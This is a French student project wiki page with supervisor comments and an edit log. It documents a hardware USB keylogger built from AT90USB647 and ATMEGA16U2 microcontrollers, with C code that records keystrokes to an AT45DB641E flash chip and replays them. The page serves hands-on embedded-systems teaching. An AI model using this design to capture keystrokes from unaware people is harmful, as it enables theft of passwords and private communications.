*** On parcourt le tableau de deux en deux : On envoie la donnée à l'indice pair qui est le code de touche, et on envoie la donnée à l'indice impaire qui est le code modifieur (Shift, Control, etc...).
*** On laisse un court instant de délai afin de laisser le temps à l'ATMEGA de bien recevoir les octets de la touche enregistrée. (J'ai essayé avec des délais plus court, mais ça ne nous redonne pas correctement la liste enregistrée, des lettres sont passés si le délai est trop court)

A la ligne 25 on peut observer un ternaire pour la condition de boucle. On regarde si l'adresse de page est égale à <code>page_actual</code> qui est en fait la dernière page enregistrée. Si oui, alors il faut interrompre l'indice j avant qu'elle ne dépasse la taille des données enregistrées sur la dernière page, sinon l'indice j parcourt <codeFLASH_PAGE_SIZE fois le tableau de donnée récupéré.

ReX : Le délai me paraît non nécessaire par contre les deux <code>Serial_SendByte</code> sans attente entre les deux me paraît joueur. Sauf si <code>Serial_SendByte</code> est bloquant mais je parierais pas.

Concernant la fonction de gestion de la flash du côté de l'ATMega :
<syntaxhighlight lang="c" line="1">
void Flash_Task(void)
{
uint8_t ButtonStatus_LCL = Buttons_GetStatus();

/* Reset flash button */
if (ButtonStatus_LCL & BUTTONS_BUTTON1){
_delay_ms(200);
Serial_SendByte(SERIAL_FLASH_RESET);
// Serial_SendByte(SERIAL_FLASH_TRANSMIT_END);
while(!Serial_IsSendComplete());
}

/* Get all the flash */
if (ButtonStatus_LCL & BUTTONS_BUTTON2){
_delay_ms(200);
Serial_SendByte(SERIAL_FLASH_GET);
// Serial_SendByte(SERIAL_FLASH_TRANSMIT_END);
while(!Serial_IsSendComplete());
}
}
</syntaxhighlight>

On lit quel bouton est appuyé pour ensuite envoyer une commande via la liaison série. On peut observer un délai just avant l'envoie de la commande qui est nécessaire pour être sûr de l'envoyer qu'une seule fois. Sans ce délai, les commandes seraient envoyées plusieurs fois (c'est du vécu), car en effet, les fonctions s'éxecutent rapidement et le temps entre l'appui du bouton et son relâchement, il y'a sûrement quelques centaine de millième de seconde (je ne sais pas exactement le temps ecoulé entre chaque appui et relâchement de bouton) qui se sont écoulés, ce qui laisse le temps à la fonction <code>Flash_Task</code> d'être executée plus d'une fois.

ReX : Haaaa et les touches mémorisées sont envoyées comme si elles avaient été tapées au clavier. Malin, je n'avais pas pensé à cette astuce, c'est bien plus simple que d'implanter des EP supplémentaires pour récupérer les touches mémorisées. Très bien.

Enfin, les fonctions d'écriture du rapport de clavier sont un peu changées pour inclure le code du modifieur. Pour l'ATMega, on peut observer l'ajout d'une boucle pour attendre sur la liaison série un octet différent de 0xFF ou du code touche lu précédement :

<syntaxhighlight lang="c" line="1">
void CreateKeyboardReport(USB_KeyboardReport_Data_t* const ReportData)
{
/* Clear the report contents */
memset(ReportData, 0, sizeof(USB_KeyboardReport_Data_t));

if (Serial_IsCharReceived())
{
uint8_t ReceivedByte;
ReportData->KeyCode[0] = Serial_ReceiveByte();
do {
ReceivedByte = Serial_ReceiveByte();
} while((ReceivedByte == 0xFF) || (ReceivedByte == ReportData->KeyCode[0]));

ReportData->Modifier = ReceivedByte;
}
}
</syntaxhighlight>

ReX : Moui, ça peut marchouiller mais je préférerais une attente sur une valeur d'octet qui ne peut être ni un code de touche ni une valeur de modificateur (0xFF par exemple ne semble pas être un code de touche et il faudrait que toutes les touches modificatrices soient enfoncées en même temps pour que 0xFF soit une valeur de modificateur). Après avoir reçu cet octet, il suffit de lire la valeur du modificateur et les 6 octets des touches.

Et pour l'AT90 on observe l'ajout d'un appel de la fonction d'envoi d'octet :
<syntaxhighlight lang="c" line="1">
void KeyboardHost_Task(int *page_actual, int *page_buffer_size)
{
//..

uint8_t KeyCode = KeyboardReport.KeyCode[0];
uint8_t Modifier = KeyboardReport.Modifier;

/* Check if a key has been pressed */
if (KeyCode)
{
/* Toggle status LED to indicate keypress */
LEDs_TurnOnLEDs(LEDS_LED2);

/* Serial communication */
Serial_SendByte(KeyCode);
Serial_SendByte(Modifier);

/* Checking if the previous buffer was full to change pages or not */
if (*page_buffer_size == FLASH_PAGE_SIZE) {
*page_buffer_size = 0;
(*page_actual)++;
}

/* AT45DB641E communication */
/* Recup of the data of the actual page to re-write on */
uint8_t data[FLASH_PAGE_SIZE];
AT45DB641E_read_page(&SPI_PORT, SPI_SS, *page_actual, data, sizeof(data), SEQ_START | SEQ_STOP);

/* Writing the Modifier and Keycode in the array */
data[(*page_buffer_size)++] = KeyCode;
data[(*page_buffer_size)++] = Modifier;

/* Writing in the AT45DB641E buffer before writing in the flash */
AT45DB641E_write_buffer(&SPI_PORT, SPI_SS, data, sizeof(data), SEQ_START | SEQ_STOP);

/* Writing the buffer into the flash at page_actual address */
AT45DB641E_write_page(&SPI_PORT, SPI_SS, *page_actual);

/* Waiting the flash finishing writing at page_actual address */
while(AT45DB641E_busy(&SPI_PORT, SPI_SS)) {
LEDs_TurnOnLEDs(LEDS_LED1);
}
LEDs_TurnOffLEDs(LEDS_LED1);

LEDs_TurnOffLEDs(LEDS_LED2);
}
}

// ...
}
</syntaxhighlight>

ReX : Même remarque sur les deux <code>Serial_SendByte</code> consécutifs et sur la méthode pour envoyer modificateur et codes de touches.

En effet, comme je l'avais dit lors de la présentation du précédent code, je n'arrivais pas encore à obtenir le code modifieur et donc récupérer deux octets. J'ai donc essayé de comprendre comment fonctionne la communication USART entre les deux microcontrôleurs. Et après quelques essais de code, j'ai observé qu'à chaque envoi d'octet via la liaison série et de la fonction <code>Serial_SendByte</code>, on reçoit d'abord un octet à 0xFF et ensuite l'octet de notre donnée, ce qui explique pourquoi on vérifie l'octet 0xFF dans les boucles while pour la lecture des octets transmis par la liaison série.

ReX : Je ne crois pas à l'histoire du 0xFF, par contre je crois au recouvrement des deux envois. Tu testes avec un <code>while(!Serial_IsSendComplete());</code> entre les deux <code>Serial_SendByte</code> ?

On peut retrouver les codes d'expérimentation pour comprendre le fonctionnement de la communication série avec le lien [[:Fichier:Keylogger Serial Testing.zip|ci-joint]].

On peut voir beaucoup de ligne commentées, mais parmi elles, on peut observer les différents tests que j'ai pu effectuer pour comprendre la communication USART.

On peut visionner la vidéo de démonstration du Keylogger via [[:Fichier:Keylogger demo video.mp4|ce lien]]<ref>Vidéo démo du Keylogger</ref>.

Dans la démo, on peut voir que des touches en trop sont tapées quand j'écris avec le clavier, même si je fais exprès d'écrire rapidement.

ReX : Toujours une très bonne vidéo de démonstration.

Par ailleurs, concernant l'initialisation des microcontrôleurs afin d'utiliser les deux programmes, c'est assez étrange mais il faut reset en premier l'AT90USB647 et dès que celui-ci est paré à fonctionner, il faut reset l'ATMEGA16U2. Sinon j'ai l'impression que d'anciens programmes se lance à la place des nouveaux ?

ReX : Ils passent en mode DFU ?

Benjamin : Merci pour vos retours. J'ai apporté les modifications que vous avez demandés. J'ai téléverser une nouvelle version du Keylogger qui se trouve sur [[:Fichier:Keylogger.zip|ce lien]].

= Documents Rendus =
[[:Fichier:Keyboard-Device-Atmega (Semaine 1).zip#file]]

ReX : Erreur dans la fonction <code>LEDs_ToggleLEDs</code>.

ReX : Erreur dans le <code>makefile</code>, la fréquence de lu quartz externe est de 8Mhz. Mettre le code ci-dessous en début de fonction <code>main</code> :
CLKSEL0 = 0b00010101; // sélection de l'horloge externe <ref name=":0" group="Code associé" />
CLKSEL1 = 0b00001111; // minimum de 8Mhz
CLKPR = 0b10000000; // modification du diviseur d'horloge (CLKPCE=1)
CLKPR = 0; // 0 pour pas de diviseur (diviseur de 1)
Tests AT45DB641E : [[:Fichier:TestMem CMD WR.zip|Fichiers de test mémoire]]

Tests AT90USB647 : [[:Fichier:KeyboardHost.zip|Fichiers KerboardHost]]

Fichiers Keylogger : [[:Fichier:Keylogger.zip|Fichiers Keylogger]] | [[:Fichier:Keyboard to PC.zip|Fichiers Keylogger sans la mémoire]] | [[:Fichier:Keylogger Serial Testing.zip|Fichiers d'expérimentation pour la liaison série]]

=== Liste des références vidéo ===
<references />

=== Liste des références image ===
<references group="Image" />

=== Liste des références code ===
<references group="Code associé" />

Fichier:2023 EC5 Keylogger.zip

2023-08-14T18:47:34Z

Bnguyen1 : Bnguyen1 a téléversé une nouvelle version de Fichier:Keylogger.zip

== Description ==
Programmes Keylogger pour l'AT90USB647 et l'ATMEGA16U2

SE4 2022/2023 EC5

2023-08-14T07:48:40Z

Bnguyen1 : /* Semaine 5 */

SE4 2022/2023 EC5

2023-08-12T07:30:57Z

Bnguyen1 : Corrections

SE4 2022/2023 EC5

2023-08-10T08:08:36Z

Bnguyen1 : Correction et ajout de référence vers les vidéos

SE4 2022/2023 EC5

2023-08-10T07:53:05Z

Bnguyen1 : Ajout de la vidéo démonstration du Keylogger

Fichier:Keylogger demo video.mp4

2023-08-10T07:47:21Z

Bnguyen1 :

Vidéo démonstration du Keylogger

SE4 2022/2023 EC5

2023-08-09T18:53:35Z

Bnguyen1 : Keylogger explications fonctions crées et fonctionnement

Fichier:Keylogger Serial Testing.zip

2023-08-09T18:51:05Z

Bnguyen1 : Programmes pour expérimenter la liaison série

== Description ==
Programmes pour expérimenter la liaison série

Fichier:2023 EC5 Keylogger.zip

2023-08-09T18:16:15Z

Bnguyen1 : Programmes Keylogger pour l'AT90USB647 et l'ATMEGA16U2

== Description ==
Programmes Keylogger pour l'AT90USB647 et l'ATMEGA16U2

SE4 2022/2023 EC5

2023-08-09T15:29:36Z

Bnguyen1 : Edit

SE4 2022/2023 EC5

2023-08-09T10:04:35Z

Bnguyen1 : Avancées sur le keylogger

SE4 2022/2023 EC5

2023-08-08T10:07:15Z

Bnguyen1 : Ajout de photo (Keylogger_Keyboard_to_PC) montrant les connexions de fils

Fichier:Keylogger Keyboard To PC.jpg

2023-08-08T10:06:08Z

Bnguyen1 :

On observe les connexions d'alimentation et UART du Keylogger pour lié l'AT90 et l'Atmega

SE4 2022/2023 EC5

2023-08-08T10:03:22Z

Bnguyen1 : Ajout du lien vers les programmes

Fichier:Keyboard to PC.zip

2023-08-08T10:02:42Z

Bnguyen1 : Programmes Keyboard et KeyboardHost pour le keylogger. Clavier to PC via le Keylooger (implémentation mémoire non effectué)

== Description ==
Programmes Keyboard et KeyboardHost pour le keylogger. Clavier to PC via le Keylooger (implémentation mémoire non effectué)

SE4 2022/2023 EC5

2023-08-08T10:00:25Z

Bnguyen1 : Rapport et ajout de vidéo : Clavier vers PC via le KeyLogger

Fichier:Keyboard PC.mp4

2023-08-08T09:46:11Z

Bnguyen1 : Vidéo montrant le Keylogger (sans la mémoire) en action. Liaison Clavier->AT90->Atmega->PC

== Description ==
Vidéo montrant le Keylogger (sans la mémoire) en action. Liaison Clavier->AT90->Atmega->PC

SE4 2022/2023 EC5

2023-08-07T13:28:25Z

Bnguyen1 : Ajout vidéo KeyboardHost et Arduino LCD